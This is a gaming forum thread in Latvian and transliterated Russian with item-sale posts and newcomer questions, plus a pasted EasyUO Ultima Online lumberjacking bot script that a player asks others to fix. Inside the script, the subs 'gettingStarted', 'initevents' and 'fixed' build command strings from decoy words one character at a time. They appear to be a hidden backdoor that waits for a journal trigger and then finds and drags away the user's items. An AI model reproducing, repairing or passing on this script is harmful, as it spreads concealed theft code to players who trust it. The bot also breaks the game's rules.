PKI

na skoljko ja znaju eto narushenije!

SELL-
LUXOR SHROUD (29 durb) 1.3kk ili pomenjaju na elf cloack (30+ durb)
NEKRO NOGI (44 durb) 450k
SKIRTS OF FIRE (33 durb) 275k
SERGI HP i STAMINI +2 za wt 35k
SKYPE-midn1ght_
nick v igre - SKUTELIS!

SELL-
LUXOR SHROUD (29 durb) 1.3kk ili pomenjaju na elf cloack (30+ durb)
NEKRO NOGI (44 durb) 450k
SKIRTS OF FIRE (33 durb) 275k
SERGI HP i STAMINI +2 za wt 35k
SKYPE-midn1ght_
nick v igre - SKUTELIS!

rekur izdevas uztaisit shito scp kad vins lumbero. uzliku savas kord itkā viss norm, bet vienīgi gribēju pajautāt divas lietas.
1. kad vins sit monstru vins nenem bowu, bet sit ar taporu un radas pathfinding visu laiku.
2. vai kads nevar palidzet izdarit ta lai man nes uz banku logus un pectam aizskrien atpakal kapat ? bez rune booka vnk pats aizkrien uz bank un atpakal ?

buuuushu bezgala pateicigs viisiem uo fateriem :PPPP
vienkārši uzrakstat te lūdzu apmeram lai saprastu kas jaizdara lai šie 2 punkti mainītos
vai arī vienkārši ja nav grūti izlabojat scp, protams ja tas nav gruti.. reku shitais scp man ir..
viss ko vins dara ir tikai cert !!

set %gameClass Cleric ; Cleric or Archer
set %maxWeight 380 ; Max ves
set %box WBUVKMD ; ID korobki, gde sbrasivatj rudu
set %foodCont AVFXKMD ; ID korobki, gde stoit zapasi moloko i bekona
set %dropAspen #false ; #true - sbrasivajet Aspen logi , #false - net
set %dropWillow #false ; #true - sbrasivajet Willow logi , #false - net
set %dropCedarMapleNoblefire #true ; #true sbrasivajet etie logi, #false - net
set %dropCherryEcalyptus #false ; #true sbrasivajet etie logi, #false - net
set %skillItemChange #false ; #true - menjajet skill shmotki, #false - net
set %recall #false ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe CYUXLMD ; Skill Roba (ID)
set %skillCloak SUCIKMD ; Skill Cloack (ID)
set %skillMask KBCIKMD ; Skill Mask (ID)
set %simpleRobe HNFGLMD ; Prostaja Roba (ID)
set %simpleCloak NSYNKMD ; Prostoj cloack (ID)
set %simpleMask YVTOLMD ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID YBUJKMD ; ID runebooka
set %runeNumberToHome 1 ; Nr runi na dom
set %runeNumberToWood 2 ; Nr runi na les
set %amountRecalls 6 ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp heal; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40; skolko kidlov vzjatj, kogda ix netu
set %minArrows 100 ; minimalnoe kolichestvo strel v sumke
set %amountArrows 250 ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon VOH ; oruzhie
set %Shield AIK ; shild

set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL
set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_ZLK

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropAspen
set %aspenCol 973
if %dropWillow
set %willowCol 0
if %dropCedarMapleNoblefire 3
set %cedarCol 437
set %mapleCol 1233
set %noblefireCol 153
if %dropCherryEcalyptus 2
set %cherryCol 38
set %ecalyptusCol 81
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start:


GOSUB LJING 5452 2765 3294
GOSUB LJING 5449 2774 3283
GOSUB LJING 5451 2774 3289
GOSUB LJING 5451 2782 3294
GOSUB LJING 5448 2797 3286
GOSUB LJING 5454 2804 3299
GOSUB LJING 5454 2798 3283
GOSUB LJING 5455 2785 3302
GOSUB LJING 5456 2775 3291
GOSUB LJING 5456 2769 3299
GOSUB LJING 5459 2760 3280
GOSUB LJING 5463 2769 3294
GOSUB LJING 5461 2774 3302
GOSUB LJING 5462 2780 3289
GOSUB LJING 5460 2793 3302
GOSUB LJING 5462 2801 3289
GOSUB LJING 5465 2802 3291
GOSUB LJING 5468 2767 3299
GOSUB LJING 5467 2758 3277
GOSUB LJING 5474 2758 3291
GOSUB LJING 5472 2763 3286
GOSUB LJING 5473 2773 3291
GOSUB LJING 5475 2786 3289
GOSUB LJING 5474 2791 3299
GOSUB LJING 5473 2795 3286
GOSUB LJING 5480 2780 3230
GOSUB LJING 5481 2776 3277
GOSUB LJING 5481 2770 3302
GOSUB LJING 5482 2757 3283
GOSUB LJING 5481 2756 3302
GOSUB LJING 5488 2755 3299
GOSUB LJING 5485 2762 3289
GOSUB LJING 5487 2768 3277
GOSUB LJING 5491 2773 3299
GOSUB LJING 5493 2766 3294
GOSUB LJING 5495 2754 3291
GOSUB LJING 5497 2758 3302
GOSUB LJING 5500 2771 3277
GOSUB LJING 5502 2770 3277
GOSUB LJING 5500 2765 3286
GOSUB LJING 5504 2757 3291
GOSUB LJING 5508 2753 3294
GOSUB LJING 5507 2766 3299
GOSUB LJING 5508 2773 3291
GOSUB LJING 5513 2774 3299
GOSUB LJING 5517 2770 3294
GOSUB LJING 5520 2761 3299
GOSUB LJING 5516 2761 3291



goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub reaper
gosub checkWeight
move %1 %2 1
finditem FSF C
set #lobjectid #findid
set #ltargetx %1
set #ltargety %2
set #ltargettile %3
set #ltargetz %4
set #ltargetkind 3
event macro 17 0
target 10s
event macro 22 0
wait 7
set %overtime #scnt + 20
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus
{
gosub dropTrashLogs
return
}
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal 1
if hungry in #sysmsg
{
gosub eat
return
}
%get fixed
gosub reaper
if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )
+ || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )
return
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub arm
if %gameClass = Cleric
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return

sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 21
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
; Koordinati do banka
move 4455 1431
move 4485 1431
move 4500 1431
move 4500 1416
move 4500 2891
move 4500 1411
repeat
{
msg bank$
wait 40
}
until #conttype = IKF
finditem %box C
if #findcnt = 0
{
event Sysmessage Box Not Found!
halt
}
repeat
{
finditem %item C_ , #backpackid
if #findcnt >= 1
{
exevent Drag #Findid #findstack
exevent Dropc %box
wait 35
}
finditem %item C_ , #backpackid
}
until #findcnt = 0
; Koordinati obratno do peshcheri
move 4500 2891
move 4500 1416
move 4500 1431
move 4485 1431
move 4455 1431
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215 ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
while #charposx = %oldPosX && #charposy = %oldPosY
goto back
return

sub checkHP
if #hits < #maxhits
{
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 35
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 35
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 35
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Cleric
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 20
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 20
event macro 17 0
wait 15s
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 50
}
until #false
}
return

sub dropTrashLogs
repeat
{
finditem ZLK C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = %willowCol || #findcol = %aspenCol
+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol
+ || #findcol = %cherryCol || #findcol = %ecalyptusCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 50
}
ignoreitem #findid 1
}
until #false
return

sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 35
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 35
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 35
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 35
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4 ; 4 baocn slices
exevent dropc #backpackid
wait 35
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 35
}
return

BTW ESMU NUBI ISLANDA!

PAAALDIES

Krč esmu jaunais ultimāts
tagad esmu nūbī salā, bet nesaprotu kā lai kautko tur dabon gatavu. vai tiešām visi kas viņu izgāja ar archeru lumberu un bowcraftu kačāja ar pirkstiņu ?? vai tomēŗ ar scp
..
es gribu uzkačāt lumber ar scp, bet galīgi neko no tā visa nesaprotu ! vai kads lūdzu nevarētu man iedot kādu lumber scp un palidzēt, paskaidrot kas man ar viņu jadara kur viņš ir jamet kā lai ievadu kautkādas koordinātes utt ! jo neko nesaprotu galīgi piemēram no šī te http://forum.egames....showtopic=24335 WTF nesaprotu pilnīgi neko ! TIEŠĀM BŪŠU BEZ GALA PATEICĪGS.

un vell jautājums ko lai es daru tagad uz nubi salas man ir 60 gp un nekā nav ne bowa ne bintes nekā kā lai dabon naudu vismaz bintēm u.c štruntiem !!
PAAAAAALDIES